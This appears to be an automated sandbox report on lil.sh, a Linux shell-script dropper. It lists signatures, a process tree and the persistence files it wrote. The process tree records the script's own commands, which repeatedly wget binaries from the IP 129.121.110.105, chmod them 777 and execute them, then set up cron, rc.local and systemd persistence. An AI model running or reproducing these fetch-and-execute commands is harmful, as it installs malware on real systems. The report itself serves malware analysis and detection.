Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09/08/2026, 02:02

General

  • Target
    lil.sh
  • Size 844B
  • Sample260809-cgcp4aybpf
  • SHA256 96282f6e46762cc263af994af5ce98d82b9d7291f2d4f16e9ea8139db6830b6f
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/lil.sh
    /tmp/lil.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:641
    • /bin/ls
      ls -l /proc/1/exe
      2⤵
        PID:643
      • /bin/ls
        ls -l /proc/10/exe
        2⤵
          PID:649
        • /bin/ls
          ls -l /proc/103/exe
          2⤵
            PID:654
          • /bin/ls
            ls -l /proc/105/exe
            2⤵
              PID:661
            • /bin/ls
              ls -l /proc/106/exe
              2⤵
                PID:665
              • /bin/ls
                ls -l /proc/11/exe
                2⤵
                • Reads runtime system information
                PID:667
              • /bin/ls
                ls -l /proc/12/exe
                2⤵
                • Reads runtime system information
                PID:669
              • /bin/ls
                ls -l /proc/13/exe
                2⤵
                  PID:671
                • /bin/ls
                  ls -l /proc/135/exe
                  2⤵
                    PID:674
                  • /bin/ls
                    ls -l /proc/139/exe
                    2⤵
                      PID:675
                    • /bin/ls
                      ls -l /proc/14/exe
                      2⤵
                        PID:677
                      • /bin/ls
                        ls -l /proc/141/exe
                        2⤵
                          PID:678
                        • /bin/ls
                          ls -l /proc/15/exe
                          2⤵
                          • Reads runtime system information
                          PID:679
                        • /bin/ls
                          ls -l /proc/156/exe
                          2⤵
                          • Reads runtime system information
                          PID:680
                        • /bin/ls
                          ls -l /proc/16/exe
                          2⤵
                            PID:682
                          • /bin/ls
                            ls -l /proc/165/exe
                            2⤵
                              PID:683
                            • /bin/ls
                              ls -l /proc/17/exe
                              2⤵
                                PID:684
                              • /bin/ls
                                ls -l /proc/18/exe
                                2⤵
                                  PID:685
                                • /bin/ls
                                  ls -l /proc/186/exe
                                  2⤵
                                    PID:686
                                  • /bin/ls
                                    ls -l /proc/19/exe
                                    2⤵
                                      PID:687
                                    • /bin/ls
                                      ls -l /proc/2/exe
                                      2⤵
                                        PID:688
                                      • /bin/ls
                                        ls -l /proc/20/exe
                                        2⤵
                                          PID:689
                                        • /bin/ls
                                          ls -l /proc/21/exe
                                          2⤵
                                            PID:690
                                          • /bin/ls
                                            ls -l /proc/22/exe
                                            2⤵
                                              PID:691
                                            • /bin/ls
                                              ls -l /proc/220/exe
                                              2⤵
                                                PID:692
                                              • /bin/ls
                                                ls -l /proc/23/exe
                                                2⤵
                                                  PID:693
                                                • /bin/ls
                                                  ls -l /proc/24/exe
                                                  2⤵
                                                  • Reads runtime system information
                                                  PID:694
                                                • /bin/ls
                                                  ls -l /proc/25/exe
                                                  2⤵
                                                    PID:695
                                                  • /bin/ls
                                                    ls -l /proc/26/exe
                                                    2⤵
                                                      PID:696
                                                    • /bin/ls
                                                      ls -l /proc/27/exe
                                                      2⤵
                                                        PID:697
                                                      • /bin/ls
                                                        ls -l /proc/274/exe
                                                        2⤵
                                                          PID:698
                                                        • /bin/ls
                                                          ls -l /proc/276/exe
                                                          2⤵
                                                            PID:699
                                                          • /bin/ls
                                                            ls -l /proc/278/exe
                                                            2⤵
                                                              PID:700
                                                            • /bin/ls
                                                              ls -l /proc/279/exe
                                                              2⤵
                                                                PID:701
                                                              • /bin/ls
                                                                ls -l /proc/28/exe
                                                                2⤵
                                                                  PID:702
                                                                • /bin/ls
                                                                  ls -l /proc/284/exe
                                                                  2⤵
                                                                  • Reads runtime system information
                                                                  PID:703
                                                                • /bin/ls
                                                                  ls -l /proc/289/exe
                                                                  2⤵
                                                                    PID:704
                                                                  • /bin/ls
                                                                    ls -l /proc/29/exe
                                                                    2⤵
                                                                      PID:705
                                                                    • /bin/ls
                                                                      ls -l /proc/3/exe
                                                                      2⤵
                                                                        PID:706
                                                                      • /bin/ls
                                                                        ls -l /proc/303/exe
                                                                        2⤵
                                                                          PID:707
                                                                        • /bin/ls
                                                                          ls -l /proc/312/exe
                                                                          2⤵
                                                                            PID:708
                                                                          • /bin/ls
                                                                            ls -l /proc/323/exe
                                                                            2⤵
                                                                            • Reads runtime system information
                                                                            PID:709
                                                                          • /bin/ls
                                                                            ls -l /proc/329/exe
                                                                            2⤵
                                                                              PID:710
                                                                            • /bin/ls
                                                                              ls -l /proc/4/exe
                                                                              2⤵
                                                                                PID:711
                                                                              • /bin/ls
                                                                                ls -l /proc/41/exe
                                                                                2⤵
                                                                                  PID:712
                                                                                • /bin/ls
                                                                                  ls -l /proc/42/exe
                                                                                  2⤵
                                                                                  • Reads runtime system information
                                                                                  PID:713
                                                                                • /bin/ls
                                                                                  ls -l /proc/43/exe
                                                                                  2⤵
                                                                                    PID:714
                                                                                  • /bin/ls
                                                                                    ls -l /proc/5/exe
                                                                                    2⤵
                                                                                      PID:715
                                                                                    • /bin/ls
                                                                                      ls -l /proc/563/exe
                                                                                      2⤵
                                                                                        PID:716
                                                                                      • /bin/ls
                                                                                        ls -l /proc/577/exe
                                                                                        2⤵
                                                                                        • Reads runtime system information
                                                                                        PID:717
                                                                                      • /bin/ls
                                                                                        ls -l /proc/579/exe
                                                                                        2⤵
                                                                                        • Reads runtime system information
                                                                                        PID:718
                                                                                      • /bin/ls
                                                                                        ls -l /proc/587/exe
                                                                                        2⤵
                                                                                          PID:719
                                                                                        • /bin/ls
                                                                                          ls -l /proc/588/exe
                                                                                          2⤵
                                                                                            PID:721
                                                                                          • /bin/ls
                                                                                            ls -l /proc/6/exe
                                                                                            2⤵
                                                                                            • Reads runtime system information
                                                                                            PID:723
                                                                                          • /bin/ls
                                                                                            ls -l /proc/629/exe
                                                                                            2⤵
                                                                                              PID:726
                                                                                            • /bin/ls
                                                                                              ls -l /proc/632/exe
                                                                                              2⤵
                                                                                                PID:727
                                                                                              • /bin/ls
                                                                                                ls -l /proc/633/exe
                                                                                                2⤵
                                                                                                • Reads runtime system information
                                                                                                PID:730
                                                                                              • /bin/ls
                                                                                                ls -l /proc/636/exe
                                                                                                2⤵
                                                                                                  PID:732
                                                                                                • /bin/ls
                                                                                                  ls -l /proc/638/exe
                                                                                                  2⤵
                                                                                                  • Reads runtime system information
                                                                                                  PID:734
                                                                                                • /bin/ls
                                                                                                  ls -l /proc/639/exe
                                                                                                  2⤵
                                                                                                    PID:736
                                                                                                  • /bin/ls
                                                                                                    ls -l /proc/640/exe
                                                                                                    2⤵
                                                                                                      PID:738
                                                                                                    • /bin/ls
                                                                                                      ls -l /proc/641/exe
                                                                                                      2⤵
                                                                                                        PID:740
                                                                                                      • /bin/ls
                                                                                                        ls -l /proc/642/exe
                                                                                                        2⤵
                                                                                                          PID:742
                                                                                                        • /bin/ls
                                                                                                          ls -l /proc/7/exe
                                                                                                          2⤵
                                                                                                          • Reads runtime system information
                                                                                                          PID:744
                                                                                                        • /bin/ls
                                                                                                          ls -l /proc/74/exe
                                                                                                          2⤵
                                                                                                            PID:746
                                                                                                          • /bin/ls
                                                                                                            ls -l /proc/8/exe
                                                                                                            2⤵
                                                                                                              PID:749
                                                                                                            • /bin/ls
                                                                                                              ls -l /proc/9/exe
                                                                                                              2⤵
                                                                                                              • Reads runtime system information
                                                                                                              PID:751
                                                                                                            • /bin/ls
                                                                                                              ls -l /proc/96/exe
                                                                                                              2⤵
                                                                                                                PID:753
                                                                                                              • /bin/rm
                                                                                                                rm -rf 86D
                                                                                                                2⤵
                                                                                                                  PID:756
                                                                                                                • /usr/bin/wget
                                                                                                                  wget http://129.121.110.105/86D
                                                                                                                  2⤵
                                                                                                                  • Writes file to tmp directory
                                                                                                                  PID:757
                                                                                                                • /bin/chmod
                                                                                                                  chmod 777 86D
                                                                                                                  2⤵
                                                                                                                  • File and Directory Permissions Modification
                                                                                                                  PID:778
                                                                                                                • /tmp/86D
                                                                                                                  ./86D lilin
                                                                                                                  2⤵
                                                                                                                  • Creates/modifies Cron job
                                                                                                                  • Modifies rc script
                                                                                                                  • Modifies systemd
                                                                                                                  • Reads runtime system information
                                                                                                                  PID:780
                                                                                                                  • /usr/local/sbin/systemctl
                                                                                                                    systemctl daemon-reload
                                                                                                                    3⤵
                                                                                                                      PID:797
                                                                                                                    • /usr/local/sbin/systemctl
                                                                                                                      systemctl enable crond.service
                                                                                                                      3⤵
                                                                                                                        PID:798
                                                                                                                      • /usr/local/bin/systemctl
                                                                                                                        systemctl enable crond.service
                                                                                                                        3⤵
                                                                                                                          PID:798
                                                                                                                        • /usr/local/bin/systemctl
                                                                                                                          systemctl daemon-reload
                                                                                                                          3⤵
                                                                                                                            PID:797
                                                                                                                          • /usr/sbin/systemctl
                                                                                                                            systemctl enable crond.service
                                                                                                                            3⤵
                                                                                                                              PID:798
                                                                                                                            • /usr/sbin/systemctl
                                                                                                                              systemctl daemon-reload
                                                                                                                              3⤵
                                                                                                                                PID:797
                                                                                                                              • /usr/bin/systemctl
                                                                                                                                systemctl daemon-reload
                                                                                                                                3⤵
                                                                                                                                  PID:797
                                                                                                                                • /usr/bin/systemctl
                                                                                                                                  systemctl enable crond.service
                                                                                                                                  3⤵
                                                                                                                                    PID:798
                                                                                                                                  • /sbin/systemctl
                                                                                                                                    systemctl enable crond.service
                                                                                                                                    3⤵
                                                                                                                                      PID:798
                                                                                                                                    • /sbin/systemctl
                                                                                                                                      systemctl daemon-reload
                                                                                                                                      3⤵
                                                                                                                                        PID:797
                                                                                                                                      • /bin/systemctl
                                                                                                                                        systemctl daemon-reload
                                                                                                                                        3⤵
                                                                                                                                        • Enumerates kernel/hardware configuration
                                                                                                                                        • Reads runtime system information
                                                                                                                                        PID:797
                                                                                                                                    • /bin/rm
                                                                                                                                      rm -rf aWG
                                                                                                                                      2⤵
                                                                                                                                        PID:785
                                                                                                                                      • /usr/bin/wget
                                                                                                                                        wget http://129.121.110.105/aWG
                                                                                                                                        2⤵
                                                                                                                                          PID:796
                                                                                                                                        • /bin/chmod
                                                                                                                                          chmod 777 aWG
                                                                                                                                          2⤵
                                                                                                                                          • File and Directory Permissions Modification
                                                                                                                                          PID:799
                                                                                                                                        • /tmp/aWG
                                                                                                                                          ./aWG lilin
                                                                                                                                          2⤵
                                                                                                                                            PID:800
                                                                                                                                          • /bin/rm
                                                                                                                                            rm -rf tbW
                                                                                                                                            2⤵
                                                                                                                                              PID:801
                                                                                                                                            • /usr/bin/wget
                                                                                                                                              wget http://129.121.110.105/tbW
                                                                                                                                              2⤵
                                                                                                                                                PID:802
                                                                                                                                              • /bin/chmod
                                                                                                                                                chmod 777 tbW
                                                                                                                                                2⤵
                                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                                PID:803
                                                                                                                                              • /tmp/tbW
                                                                                                                                                ./tbW lilin
                                                                                                                                                2⤵
                                                                                                                                                  PID:810
                                                                                                                                                • /bin/rm
                                                                                                                                                  rm -rf VFgi
                                                                                                                                                  2⤵
                                                                                                                                                    PID:813
                                                                                                                                                  • /usr/bin/wget
                                                                                                                                                    wget http://129.121.110.105/VFgi
                                                                                                                                                    2⤵
                                                                                                                                                      PID:818
                                                                                                                                                    • /bin/chmod
                                                                                                                                                      chmod 777 VFgi
                                                                                                                                                      2⤵
                                                                                                                                                      • File and Directory Permissions Modification
                                                                                                                                                      PID:820
                                                                                                                                                    • /tmp/VFgi
                                                                                                                                                      ./VFgi lilin
                                                                                                                                                      2⤵
                                                                                                                                                        PID:821
                                                                                                                                                      • /bin/rm
                                                                                                                                                        rm -rf OLE5
                                                                                                                                                        2⤵
                                                                                                                                                          PID:822
                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                          wget http://129.121.110.105/OLE5
                                                                                                                                                          2⤵
                                                                                                                                                            PID:823
                                                                                                                                                          • /bin/chmod
                                                                                                                                                            chmod 777 OLE5
                                                                                                                                                            2⤵
                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                            PID:824
                                                                                                                                                          • /tmp/OLE5
                                                                                                                                                            ./OLE5 lilin
                                                                                                                                                            2⤵
                                                                                                                                                              PID:825
                                                                                                                                                            • /bin/rm
                                                                                                                                                              rm -rf lil
                                                                                                                                                              2⤵
                                                                                                                                                                PID:826
                                                                                                                                                            • /bin/systemctl
                                                                                                                                                              systemctl enable crond.service
                                                                                                                                                              1⤵
                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                              • Reads runtime system information
                                                                                                                                                              PID:798

                                                                                                                                                            Network

                                                                                                                                                                  MITRE ATT&CK Enterprise v16

                                                                                                                                                                  Replay Monitor

                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                  Downloads

                                                                                                                                                                  crond

                                                                                                                                                                  • Path /etc/cron.d/crond
                                                                                                                                                                  • Size 31B
                                                                                                                                                                  • SHA256 eedbd5b8c7a57b4be6a09bca5070194fa675cfdc670661ef0d9e35af969aa2c3
                                                                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                                                                  rc.local

                                                                                                                                                                  • Path /etc/rc.local
                                                                                                                                                                  • Size 10B
                                                                                                                                                                  • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                                                                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                                                                  rc.local

                                                                                                                                                                  • Path /etc/rc.local
                                                                                                                                                                  • Size 35B
                                                                                                                                                                  • SHA256 cb31012001cabaa413c848f3fd8ec13d0c11cb9c79c453bccd95c4c546b2acf6
                                                                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                                                                  crond.service

                                                                                                                                                                  • Path /etc/systemd/system/crond.service
                                                                                                                                                                  • Size 194B
                                                                                                                                                                  • SHA256 c41259ab787b364327dc0b11cf486d813cb28b416453bf32504c85f8a74e3fcf
                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                  86D

                                                                                                                                                                  • Path /tmp/86D
                                                                                                                                                                  • Size 73KB
                                                                                                                                                                  • SHA256 463a265e6814f047d5e0dec116a38bf72c204a1b30583e5475e19265e49861b2
                                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                                                  lil

                                                                                                                                                                  • Path /tmp/lil
                                                                                                                                                                  • Size 1B
                                                                                                                                                                  • SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
                                                                                                                                                                  • MD5 SHA1 SHA512